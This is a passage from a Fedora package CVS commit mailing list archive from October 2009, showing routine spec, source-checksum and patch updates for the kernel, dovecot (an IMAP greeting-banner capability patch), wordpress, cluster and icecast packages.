 02078f4231baee4f0004212f2875df2b  patch-2.6.31.4.bz2
+4c32330f50909eddb3d8d2bc3fde5abd  patch-2.6.31.5-rc1.bz2


Index: upstream
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/upstream,v
retrieving revision 1.1002
retrieving revision 1.1003
diff -u -p -r1.1002 -r1.1003
--- upstream	13 Oct 2009 00:39:38 -0000	1.1002
+++ upstream	21 Oct 2009 10:22:10 -0000	1.1003
@@ -1,2 +1,3 @@
 linux-2.6.31.tar.bz2
 patch-2.6.31.4.bz2
+patch-2.6.31.5-rc1.bz2


--- linux-2.6-raidlockdep.patch DELETED ---



From cebbert at fedoraproject.org  Wed Oct 21 10:24:42 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Wed, 21 Oct 2009 10:24:42 +0000 (UTC)
Subject: rpms/kernel/F-12 config-generic, 1.326, 1.327 kernel.spec, 1.1875, 
	1.1876
Message-ID: <20091021102442.7786311C00E8@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23081

Modified Files:
	config-generic kernel.spec 
Log Message:
Disable powersave by default for AC97 audio devices. (#524414)


Index: config-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/config-generic,v
retrieving revision 1.326
retrieving revision 1.327
diff -u -p -r1.326 -r1.327
--- config-generic	16 Oct 2009 03:47:50 -0000	1.326
+++ config-generic	21 Oct 2009 10:24:42 -0000	1.327
@@ -2582,7 +2582,7 @@ CONFIG_SND_SERIAL_U16550=m
 CONFIG_SND_MPU401=m
 CONFIG_SND_PORTMAN2X4=m
 CONFIG_SND_AC97_POWER_SAVE=y
-CONFIG_SND_AC97_POWER_SAVE_DEFAULT=5
+CONFIG_SND_AC97_POWER_SAVE_DEFAULT=0
 
 CONFIG_SND_DRIVERS=y
 


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1875
retrieving revision 1.1876
diff -u -p -r1.1875 -r1.1876
--- kernel.spec	21 Oct 2009 10:22:10 -0000	1.1875
+++ kernel.spec	21 Oct 2009 10:24:42 -0000	1.1876
@@ -2068,6 +2068,9 @@ fi
 
 %changelog
 * Wed Oct 21 2009 Chuck Ebbert <cebbert at redhat.com>
+- Disable powersave by default for AC97 audio devices. (#524414)
+
+* Wed Oct 21 2009 Chuck Ebbert <cebbert at redhat.com>
 - Linux 2.6.31.5-rc1
 - Remove the merged HP DC7900 workaround from iommu-updates patch.
 - Drop merged patch:



From mhlavink at fedoraproject.org  Wed Oct 21 10:42:44 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Wed, 21 Oct 2009 10:42:44 +0000 (UTC)
Subject: rpms/dovecot/F-11 dovecot-1.2.6-greetings.patch, NONE,
	1.1 .cvsignore, 
	1.68, 1.69 dovecot.spec, 1.144, 1.145 sources, 1.71, 1.72
Message-ID: <20091021104244.5F9B011C00E8@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/dovecot/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28102

Modified Files:
	.cvsignore dovecot.spec sources 
Added Files:
	dovecot-1.2.6-greetings.patch 
Log Message:
- imap-login: If imap_capability is set, show it in the banner
  instead of the default (#524485)
- update sieve to 0.1.13


dovecot-1.2.6-greetings.patch:
 imap-login/client.c              |    7 ++++---
 login-common/common.h            |    2 +-
 login-common/main.c              |    7 +++++--
 login-common/ssl-proxy-openssl.c |    4 ++++
 master/login-process.c           |    2 ++
 5 files changed, 16 insertions(+), 6 deletions(-)

--- NEW FILE dovecot-1.2.6-greetings.patch ---
diff -up dovecot-1.2.6/src/imap-login/client.c.greetings dovecot-1.2.6/src/imap-login/client.c
--- dovecot-1.2.6/src/imap-login/client.c.greetings	2009-10-05 20:10:44.000000000 +0200
+++ dovecot-1.2.6/src/imap-login/client.c	2009-10-21 12:20:03.995249615 +0200
@@ -93,11 +93,12 @@ bool client_skip_line(struct imap_client
 
 static const char *get_capability(struct imap_client *client, bool full)
 {
-	const char *auths;
+	const char *auths, *cap_str;
 
+	cap_str = full || capability_string_overridden ? capability_string :
+		CAPABILITY_BANNER_STRING;
 	auths = client_authenticate_get_capabilities(client->common.secured);
-	return t_strconcat(full ? capability_string : CAPABILITY_BANNER_STRING,
-			   (ssl_initialized && !client->common.tls) ?
+	return t_strconcat(cap_str, (ssl_initialized && !client->common.tls) ?
 			   " STARTTLS" : "",
 			   disable_plaintext_auth && !client->common.secured ?
 			   " LOGINDISABLED" : "", auths, NULL);
diff -up dovecot-1.2.6/src/login-common/common.h.greetings dovecot-1.2.6/src/login-common/common.h
--- dovecot-1.2.6/src/login-common/common.h.greetings	2009-01-15 21:27:26.000000000 +0100
+++ dovecot-1.2.6/src/login-common/common.h	2009-10-21 12:20:03.996248613 +0200
@@ -23,7 +23,7 @@ extern const char *trusted_networks;
 extern unsigned int max_connections;
 extern unsigned int login_process_uid;
 extern struct auth_client *auth_client;
-extern bool closing_down;
+extern bool closing_down, capability_string_overridden;
 
 void main_ref(void);
 void main_unref(void);
diff -up dovecot-1.2.6/src/login-common/main.c.greetings dovecot-1.2.6/src/login-common/main.c
--- dovecot-1.2.6/src/login-common/main.c.greetings	2009-08-12 20:03:16.000000000 +0200
+++ dovecot-1.2.6/src/login-common/main.c	2009-10-21 12:20:03.996248613 +0200
@@ -28,7 +28,7 @@ const char *trusted_networks;
 unsigned int max_connections;
 unsigned int login_process_uid;
 struct auth_client *auth_client;
-bool closing_down;
+bool closing_down, capability_string_overridden;
 
 static const char *process_name;
 static struct ioloop *ioloop;
@@ -354,8 +354,11 @@ static void main_init(void)
 
 	/* capability default is set in imap/pop3-login */
 	value = getenv("CAPABILITY_STRING");
-	if (value != NULL && *value != '\0')
+	if (value != NULL && *value != '\0') {
 		capability_string = value;
+		if (getenv("CAPABILITY_STRING_OVERRIDDEN") != NULL)
+			capability_string_overridden = TRUE;
+	}
 
         closing_down = FALSE;
 	main_refcount = 0;
diff -up dovecot-1.2.6/src/login-common/ssl-proxy-openssl.c.greetings dovecot-1.2.6/src/login-common/ssl-proxy-openssl.c
--- dovecot-1.2.6/src/login-common/ssl-proxy-openssl.c.greetings	2009-09-29 16:14:15.000000000 +0200
+++ dovecot-1.2.6/src/login-common/ssl-proxy-openssl.c	2009-10-21 12:20:04.000248772 +0200
@@ -715,6 +715,7 @@ static DH *ssl_tmp_dh_callback(SSL *ssl 
 	return ssl_params.dh_1024;
 }
 
+#ifdef HAVE_SSL_CTX_SET_INFO_CALLBACK
 static void ssl_info_callback(const SSL *ssl, int where, int ret)
 {
 	struct ssl_proxy *proxy;
@@ -732,6 +733,7 @@ static void ssl_info_callback(const SSL 
 			  net_ip2addr(&proxy->ip));
 	}
 }
+#endif
 
 static int ssl_verify_client_cert(int preverify_ok, X509_STORE_CTX *ctx)
 {
@@ -814,8 +816,10 @@ static void ssl_proxy_ctx_init(SSL_CTX *
 				cafile, ssl_last_error());
 		}
 	}
+#ifdef HAVE_SSL_CTX_SET_INFO_CALLBACK
 	if (verbose_ssl)
 		SSL_CTX_set_info_callback(ssl_ctx, ssl_info_callback);
+#endif
 	if (SSL_CTX_need_tmp_RSA(ssl_ctx))
 		SSL_CTX_set_tmp_rsa_callback(ssl_ctx, ssl_gen_rsa_key);
 	SSL_CTX_set_tmp_dh_callback(ssl_ctx, ssl_tmp_dh_callback);
diff -up dovecot-1.2.6/src/master/login-process.c.greetings dovecot-1.2.6/src/master/login-process.c
--- dovecot-1.2.6/src/master/login-process.c.greetings	2009-10-21 12:20:03.965978906 +0200
+++ dovecot-1.2.6/src/master/login-process.c	2009-10-21 12:23:04.696873716 +0200
@@ -635,6 +635,8 @@ static void login_process_init_env(struc
 				    *set->imap_capability != '\0' ?
 				    set->imap_capability :
 				    set->imap_generated_capability, NULL));
+		if (*set->imap_capability != '\0')
+			env_put("CAPABILITY_STRING_OVERRIDDEN=1");
 	} else if (group->mail_process_type == PROCESS_TYPE_MANAGESIEVE) {
 		env_put(t_strconcat("CAPABILITY_STRING=",
 			set->managesieve_generated_capability, NULL));


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/dovecot/F-11/.cvsignore,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- .cvsignore	9 Oct 2009 19:04:46 -0000	1.68
+++ .cvsignore	21 Oct 2009 10:42:44 -0000	1.69
@@ -1,4 +1,4 @@
 dovecot-1.2.6.tar.gz
 dovecot-1.2-managesieve-0.11.9.tar.gz
 dovecot-1.2.6-managesieve-0.11.9.diff.gz
-dovecot-1.2-sieve-0.1.12.tar.gz
+dovecot-1.2-sieve-0.1.13.tar.gz


Index: dovecot.spec
===================================================================
RCS file: /cvs/extras/rpms/dovecot/F-11/dovecot.spec,v
retrieving revision 1.144
retrieving revision 1.145
diff -u -p -r1.144 -r1.145
--- dovecot.spec	9 Oct 2009 19:04:46 -0000	1.144
+++ dovecot.spec	21 Oct 2009 10:42:44 -0000	1.145
@@ -2,8 +2,9 @@ Summary: Secure imap and pop3 server
 Name: dovecot
 Epoch: 1
 Version: 1.2.6
-Release: 2%{?dist}
-License: MIT and LGPLv2 and BSD with advertising
+Release: 3%{?dist}
+#dovecot itself is MIT, a few sources are PD, (manage)sieve is LGPLv2, perfect_maildir.pl is GPLv2+
+License: MIT and LGPLv2 and GPLv2+
 Group: System Environment/Daemons
 
 %define build_postgres 1
@@ -14,7 +15,8 @@ Group: System Environment/Daemons
 
 %define build_sieve 1
 %define build_managesieve 1
-%define sieve_version 0.1.12
+%define ver4mansieve %{version}
+%define sieve_version 0.1.13
 %define sieve_name dovecot-1.2-sieve
 %define managesieve_version 0.11.9
 %define managesieve_name dovecot-1.2-managesieve
@@ -31,13 +33,16 @@ Source7: dovecot-REDHAT-FAQ.txt
 Source8: http://www.rename-it.nl/dovecot/1.2/%{sieve_name}-%{sieve_version}.tar.gz
 Source9: dovecot.sysconfig
 Source10: http://www.rename-it.nl/dovecot/1.2/%{managesieve_name}-%{managesieve_version}.tar.gz
-Source11: http://www.rename-it.nl/dovecot/1.2/dovecot-1.2.6-managesieve-%{managesieve_version}.diff.gz
+Source11: http://www.rename-it.nl/dovecot/1.2/dovecot-%{ver4mansieve}-managesieve-%{managesieve_version}.diff.gz
 
 # 3x Fedora specific
 Patch1: dovecot-1.1-default-settings.patch
 Patch2: dovecot-1.0.beta2-mkcert-permissions.patch
 Patch3: dovecot-1.0.rc7-mkcert-paths.patch
 
+# taken from upstream, for dovecot <= 1.2.6 use imap_capability in greeting message, rhbz#524485
+Patch4: dovecot-1.2.6-greetings.patch
+
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: openssl-devel, pam-devel, zlib-devel
 BuildRequires: libtool autoconf automake
@@ -168,6 +173,7 @@ zcat %{SOURCE11} | patch -p1 --fuzz=0 -s
 %patch1 -p1 -b .default-settings
 %patch2 -p1 -b .mkcert-permissions
 %patch3 -p1 -b .mkcert-paths
+%patch4 -p1 -b .greetings
 
 %if %{build_sieve}
 %setup -q -D -T -a 8
@@ -434,6 +440,27 @@ fi
 
 
 %changelog
+* Wed Oct 21 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.6-3
+- imap-login: If imap_capability is set, show it in the banner 
+  instead of the default (#524485)
+- sieve updated to 0.1.13 which brings these changes:
+- Body extension: implemented proper handling of the :raw transform
+  and added various new tests to the test suite. However, :content
+  "multipart" and :content "message/rfc822" are still not working.
+- Fixed race condition occuring when multiple instances are saving the
+  same binary (patch by Timo Sirainen).
+- Body extension: don't give SKIP_BODY_BLOCK flag to message parser,
+  we want the body!
+- Fixed bugs in multiscript support; subsequent keep actions were not
+  always merged correctly and implicit side effects were not always
+  handled correctly.
+- Fixed a segfault bug in the sieve-test tool occuring when compile
+  fails.
+- Fixed segfault bug in action procesing. It was triggered while
+  merging side effects in duplicate actions.
+- Fixed bug in the Sieve plugin that caused it to try to stat() a NULL
+  path, yielding a 'Bad address' error.
+
 * Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.6-2
 - fix init script for case when no action was specified
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/dovecot/F-11/sources,v
retrieving revision 1.71
retrieving revision 1.72
diff -u -p -r1.71 -r1.72
--- sources	9 Oct 2009 19:04:46 -0000	1.71
+++ sources	21 Oct 2009 10:42:44 -0000	1.72
@@ -1,4 +1,4 @@
 807666f1a112e7379c4dbb57c9ce4899  dovecot-1.2.6.tar.gz
 923d4965e0b357db493f3b2cb106d8d7  dovecot-1.2-managesieve-0.11.9.tar.gz
 615d5d1ad843654384ca11cf523c2bbc  dovecot-1.2.6-managesieve-0.11.9.diff.gz
-8749f26606c4563f0676bacc44e89ca2  dovecot-1.2-sieve-0.1.12.tar.gz
+6151ab50e24abc0384358b1618c8048f  dovecot-1.2-sieve-0.1.13.tar.gz



From mhlavink at fedoraproject.org  Wed Oct 21 10:44:31 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Wed, 21 Oct 2009 10:44:31 +0000 (UTC)
Subject: rpms/dovecot/F-12 dovecot-1.2.6-greetings.patch, NONE,
	1.1 dovecot.spec, 1.143, 1.144
Message-ID: <20091021104431.595D011C00E8@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/dovecot/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28577

Modified Files:
	dovecot.spec 
Added Files:
	dovecot-1.2.6-greetings.patch 
Log Message:
* Wed Oct 21 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.6-4
- imap-login: If imap_capability is set, show it in the banner 
  instead of the default (#524485)


dovecot-1.2.6-greetings.patch:
 imap-login/client.c              |    7 ++++---
 login-common/common.h            |    2 +-
 login-common/main.c              |    7 +++++--
 login-common/ssl-proxy-openssl.c |    4 ++++
 master/login-process.c           |    2 ++
 5 files changed, 16 insertions(+), 6 deletions(-)

--- NEW FILE dovecot-1.2.6-greetings.patch ---
diff -up dovecot-1.2.6/src/imap-login/client.c.greetings dovecot-1.2.6/src/imap-login/client.c
--- dovecot-1.2.6/src/imap-login/client.c.greetings	2009-10-05 20:10:44.000000000 +0200
+++ dovecot-1.2.6/src/imap-login/client.c	2009-10-21 12:20:03.995249615 +0200
@@ -93,11 +93,12 @@ bool client_skip_line(struct imap_client
 
 static const char *get_capability(struct imap_client *client, bool full)
 {
-	const char *auths;
+	const char *auths, *cap_str;
 
+	cap_str = full || capability_string_overridden ? capability_string :
+		CAPABILITY_BANNER_STRING;
 	auths = client_authenticate_get_capabilities(client->common.secured);
-	return t_strconcat(full ? capability_string : CAPABILITY_BANNER_STRING,
-			   (ssl_initialized && !client->common.tls) ?
+	return t_strconcat(cap_str, (ssl_initialized && !client->common.tls) ?
 			   " STARTTLS" : "",
 			   disable_plaintext_auth && !client->common.secured ?
 			   " LOGINDISABLED" : "", auths, NULL);
diff -up dovecot-1.2.6/src/login-common/common.h.greetings dovecot-1.2.6/src/login-common/common.h
--- dovecot-1.2.6/src/login-common/common.h.greetings	2009-01-15 21:27:26.000000000 +0100
+++ dovecot-1.2.6/src/login-common/common.h	2009-10-21 12:20:03.996248613 +0200
@@ -23,7 +23,7 @@ extern const char *trusted_networks;
 extern unsigned int max_connections;
 extern unsigned int login_process_uid;
 extern struct auth_client *auth_client;
-extern bool closing_down;
+extern bool closing_down, capability_string_overridden;
 
 void main_ref(void);
 void main_unref(void);
diff -up dovecot-1.2.6/src/login-common/main.c.greetings dovecot-1.2.6/src/login-common/main.c
--- dovecot-1.2.6/src/login-common/main.c.greetings	2009-08-12 20:03:16.000000000 +0200
+++ dovecot-1.2.6/src/login-common/main.c	2009-10-21 12:20:03.996248613 +0200
@@ -28,7 +28,7 @@ const char *trusted_networks;
 unsigned int max_connections;
 unsigned int login_process_uid;
 struct auth_client *auth_client;
-bool closing_down;
+bool closing_down, capability_string_overridden;
 
 static const char *process_name;
 static struct ioloop *ioloop;
@@ -354,8 +354,11 @@ static void main_init(void)
 
 	/* capability default is set in imap/pop3-login */
 	value = getenv("CAPABILITY_STRING");
-	if (value != NULL && *value != '\0')
+	if (value != NULL && *value != '\0') {
 		capability_string = value;
+		if (getenv("CAPABILITY_STRING_OVERRIDDEN") != NULL)
+			capability_string_overridden = TRUE;
+	}
 
         closing_down = FALSE;
 	main_refcount = 0;
diff -up dovecot-1.2.6/src/login-common/ssl-proxy-openssl.c.greetings dovecot-1.2.6/src/login-common/ssl-proxy-openssl.c
--- dovecot-1.2.6/src/login-common/ssl-proxy-openssl.c.greetings	2009-09-29 16:14:15.000000000 +0200
+++ dovecot-1.2.6/src/login-common/ssl-proxy-openssl.c	2009-10-21 12:20:04.000248772 +0200
@@ -715,6 +715,7 @@ static DH *ssl_tmp_dh_callback(SSL *ssl 
 	return ssl_params.dh_1024;
 }
 
+#ifdef HAVE_SSL_CTX_SET_INFO_CALLBACK
 static void ssl_info_callback(const SSL *ssl, int where, int ret)
 {
 	struct ssl_proxy *proxy;
@@ -732,6 +733,7 @@ static void ssl_info_callback(const SSL 
 			  net_ip2addr(&proxy->ip));
 	}
 }
+#endif
 
 static int ssl_verify_client_cert(int preverify_ok, X509_STORE_CTX *ctx)
 {
@@ -814,8 +816,10 @@ static void ssl_proxy_ctx_init(SSL_CTX *
 				cafile, ssl_last_error());
 		}
 	}
+#ifdef HAVE_SSL_CTX_SET_INFO_CALLBACK
 	if (verbose_ssl)
 		SSL_CTX_set_info_callback(ssl_ctx, ssl_info_callback);
+#endif
 	if (SSL_CTX_need_tmp_RSA(ssl_ctx))
 		SSL_CTX_set_tmp_rsa_callback(ssl_ctx, ssl_gen_rsa_key);
 	SSL_CTX_set_tmp_dh_callback(ssl_ctx, ssl_tmp_dh_callback);
diff -up dovecot-1.2.6/src/master/login-process.c.greetings dovecot-1.2.6/src/master/login-process.c
--- dovecot-1.2.6/src/master/login-process.c.greetings	2009-10-21 12:20:03.965978906 +0200
+++ dovecot-1.2.6/src/master/login-process.c	2009-10-21 12:23:04.696873716 +0200
@@ -635,6 +635,8 @@ static void login_process_init_env(struc
 				    *set->imap_capability != '\0' ?
 				    set->imap_capability :
 				    set->imap_generated_capability, NULL));
+		if (*set->imap_capability != '\0')
+			env_put("CAPABILITY_STRING_OVERRIDDEN=1");
 	} else if (group->mail_process_type == PROCESS_TYPE_MANAGESIEVE) {
 		env_put(t_strconcat("CAPABILITY_STRING=",
 			set->managesieve_generated_capability, NULL));


Index: dovecot.spec
===================================================================
RCS file: /cvs/extras/rpms/dovecot/F-12/dovecot.spec,v
retrieving revision 1.143
retrieving revision 1.144
diff -u -p -r1.143 -r1.144
--- dovecot.spec	19 Oct 2009 11:15:10 -0000	1.143
+++ dovecot.spec	21 Oct 2009 10:44:31 -0000	1.144
@@ -2,7 +2,7 @@ Summary: Secure imap and pop3 server
 Name: dovecot
 Epoch: 1
 Version: 1.2.6
-Release: 3%{?dist}
+Release: 4%{?dist}
 #dovecot itself is MIT, a few sources are PD, (manage)sieve is LGPLv2, perfect_maildir.pl is GPLv2+
 License: MIT and LGPLv2 and GPLv2+
 Group: System Environment/Daemons
@@ -40,6 +40,9 @@ Patch1: dovecot-1.1-default-settings.pat
 Patch2: dovecot-1.0.beta2-mkcert-permissions.patch
 Patch3: dovecot-1.0.rc7-mkcert-paths.patch
 
+# taken from upstream, for dovecot <= 1.2.6 use imap_capability in greeting message, rhbz#524485
+Patch4: dovecot-1.2.6-greetings.patch
+
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: openssl-devel, pam-devel, zlib-devel, libcap-devel
 BuildRequires: libtool autoconf automake
@@ -170,6 +173,7 @@ zcat %{SOURCE11} | patch -p1 --fuzz=0 -s
 %patch1 -p1 -b .default-settings
 %patch2 -p1 -b .mkcert-permissions
 %patch3 -p1 -b .mkcert-paths
+%patch4 -p1 -b .greetings
 
 %if %{build_sieve}
 %setup -q -D -T -a 8
@@ -437,6 +441,10 @@ fi
 
 
 %changelog
+* Wed Oct 21 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.6-4
+- imap-login: If imap_capability is set, show it in the banner 
+  instead of the default (#524485)
+
 * Mon Oct 19 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.6-3
 - sieve updated to 0.1.13 which brings these changes:
 - Body extension: implemented proper handling of the :raw transform



From adrian at fedoraproject.org  Wed Oct 21 10:52:37 2009
From: adrian at fedoraproject.org (Adrian Reber)
Date: Wed, 21 Oct 2009 10:52:37 +0000 (UTC)
Subject: rpms/wordpress/devel .cvsignore, 1.27, 1.28 sources, 1.27,
	1.28 wordpress.spec, 1.35, 1.36
Message-ID: <20091021105237.83C5C11C00E8@cvs1.fedora.phx.redhat.com>

Author: adrian

Update of /cvs/extras/rpms/wordpress/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30797

Modified Files:
	.cvsignore sources wordpress.spec 
Log Message:
* Wed Oct 21 2009 Adrian Reber <adrian at lisas.de> - 2.8.5-1
- updated to 2.8.5 (Hardening Release)



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/wordpress/devel/.cvsignore,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- .cvsignore	30 Aug 2009 14:12:15 -0000	1.27
+++ .cvsignore	21 Oct 2009 10:52:37 -0000	1.28
@@ -1 +1 @@
-wordpress-2.8.4.tar.gz
+wordpress-2.8.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/wordpress/devel/sources,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- sources	30 Aug 2009 14:12:15 -0000	1.27
+++ sources	21 Oct 2009 10:52:37 -0000	1.28
@@ -1 +1 @@
-0e8b296d4e2d4189b349f1d0f727bd98  wordpress-2.8.4.tar.gz
+85f6a9c5f8ce88b784a9fda81303cbc1  wordpress-2.8.5.tar.gz


Index: wordpress.spec
===================================================================
RCS file: /cvs/extras/rpms/wordpress/devel/wordpress.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- wordpress.spec	30 Aug 2009 14:12:15 -0000	1.35
+++ wordpress.spec	21 Oct 2009 10:52:37 -0000	1.36
@@ -1,7 +1,7 @@
 Summary: WordPress blogging software
 URL: http://www.wordpress.org
 Name: wordpress
-Version: 2.8.4
+Version: 2.8.5
 Group: Applications/Publishing
 Release: 1%{?dist}
 License: GPLv2
@@ -81,6 +81,9 @@ rm -rf ${RPM_BUILD_ROOT}
 %dir %{_sysconfdir}/wordpress
 
 %changelog
+* Wed Oct 21 2009 Adrian Reber <adrian at lisas.de> - 2.8.5-1
+- updated to 2.8.5 (Hardening Release)
+
 * Sun Aug 30 2009 Adrian Reber <adrian at lisas.de> - 2.8.4-1
 - updated to 2.8.4 (security fixes were already available with 2.8.3-2)
 



From fabbione at fedoraproject.org  Wed Oct 21 11:09:56 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Wed, 21 Oct 2009 11:09:56 +0000 (UTC)
Subject: rpms/cluster/devel .cvsignore, 1.30, 1.31 cluster.spec, 1.61,
	1.62 sources, 1.31, 1.32
Message-ID: <20091021110956.336B011C00E8@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/cluster/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3441

Modified Files:
	.cvsignore cluster.spec sources 
Log Message:
New upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cluster/devel/.cvsignore,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- .cvsignore	25 Sep 2009 10:26:37 -0000	1.30
+++ .cvsignore	21 Oct 2009 11:09:55 -0000	1.31
@@ -1 +1 @@
-cluster-3.0.3.tar.gz
+cluster-3.0.4.tar.gz


Index: cluster.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cluster/devel/cluster.spec,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- cluster.spec	2 Oct 2009 08:05:04 -0000	1.61
+++ cluster.spec	21 Oct 2009 11:09:55 -0000	1.62
@@ -18,8 +18,8 @@
 
 Name: cluster
 Summary: Red Hat Cluster
-Version: 3.0.3
-Release: 2%{?alphatag:.%{alphatag}}%{?dist}
+Version: 3.0.4
+Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
 URL: http://sources.redhat.com/cluster/wiki/
@@ -99,7 +99,7 @@ Requires: corosync >= 1.0.1-1
 Requires: openais >= 1.0.2-1
 Requires: perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 Requires: ricci >= 0.15.0-4 modcluster >= 0.15.0-3
-Requires: fence-agents
+Requires: fence-agents >= 3.0.4-1
 
 %description -n cman
 Red Hat Cluster Manager
@@ -303,9 +303,14 @@ fi
 %{_mandir}/man8/*.gfs.*
 
 %changelog
+* Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-1
+- New upstream release
+- spec file update:
+  * explicitly Requires newer version of fence-agents
+
 * Fri Oct  2 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-2
 - spec file update:
-  - gfs-pcmk now Requires dlm-pcmk
+  * gfs-pcmk now Requires dlm-pcmk
 
 * Fri Sep 25 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-1
 - New upstream release


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cluster/devel/sources,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- sources	25 Sep 2009 10:26:37 -0000	1.31
+++ sources	21 Oct 2009 11:09:56 -0000	1.32
@@ -1 +1 @@
-fed503b2c44c966dff2adcb206569d79  cluster-3.0.3.tar.gz
+71011e62b21d97d3a38db463b7987e37  cluster-3.0.4.tar.gz



From fabbione at fedoraproject.org  Wed Oct 21 11:11:49 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Wed, 21 Oct 2009 11:11:49 +0000 (UTC)
Subject: rpms/cluster/F-12 .cvsignore, 1.30, 1.31 cluster.spec, 1.61,
	1.62 sources, 1.31, 1.32
Message-ID: <20091021111149.613EF11C00E8@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/cluster/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3873

Modified Files:
	.cvsignore cluster.spec sources 
Log Message:
New upstream release fixes several bugs



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cluster/F-12/.cvsignore,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- .cvsignore	25 Sep 2009 10:26:37 -0000	1.30
+++ .cvsignore	21 Oct 2009 11:11:49 -0000	1.31
@@ -1 +1 @@
-cluster-3.0.3.tar.gz
+cluster-3.0.4.tar.gz


Index: cluster.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cluster/F-12/cluster.spec,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- cluster.spec	2 Oct 2009 08:05:40 -0000	1.61
+++ cluster.spec	21 Oct 2009 11:11:49 -0000	1.62
@@ -18,8 +18,8 @@
 
 Name: cluster
 Summary: Red Hat Cluster
-Version: 3.0.3
-Release: 2%{?alphatag:.%{alphatag}}%{?dist}
+Version: 3.0.4
+Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
 URL: http://sources.redhat.com/cluster/wiki/
@@ -99,7 +99,7 @@ Requires: corosync >= 1.0.1-1
 Requires: openais >= 1.0.2-1
 Requires: perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 Requires: ricci >= 0.15.0-4 modcluster >= 0.15.0-3
-Requires: fence-agents
+Requires: fence-agents >= 3.0.4-1
 
 %description -n cman
 Red Hat Cluster Manager
@@ -303,9 +303,14 @@ fi
 %{_mandir}/man8/*.gfs.*
 
 %changelog
+* Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-1
+- New upstream release
+- spec file update:
+  * explicitly Requires newer version of fence-agents
+
 * Fri Oct  2 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-2
 - spec file update:
-  - gfs-pcmk now Requires dlm-pcmk
+  * gfs-pcmk now Requires dlm-pcmk
 
 * Fri Sep 25 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-1
 - New upstream release


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cluster/F-12/sources,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- sources	25 Sep 2009 10:26:37 -0000	1.31
+++ sources	21 Oct 2009 11:11:49 -0000	1.32
@@ -1 +1 @@
-fed503b2c44c966dff2adcb206569d79  cluster-3.0.3.tar.gz
+71011e62b21d97d3a38db463b7987e37  cluster-3.0.4.tar.gz



From ixs at fedoraproject.org  Wed Oct 21 11:14:38 2009
From: ixs at fedoraproject.org (Andreas Thienemann)
Date: Wed, 21 Oct 2009 11:14:38 +0000 (UTC)
Subject: rpms/icecast/devel icecast.init, 1.3, 1.4 icecast.spec, 1.8,
	1.9 icecast.xml, 1.1, 1.2 icecast-curl.patch, 1.1, NONE
Message-ID: <20091021111438.B2C7411C00E8@cvs1.fedora.phx.redhat.com>

Author: ixs

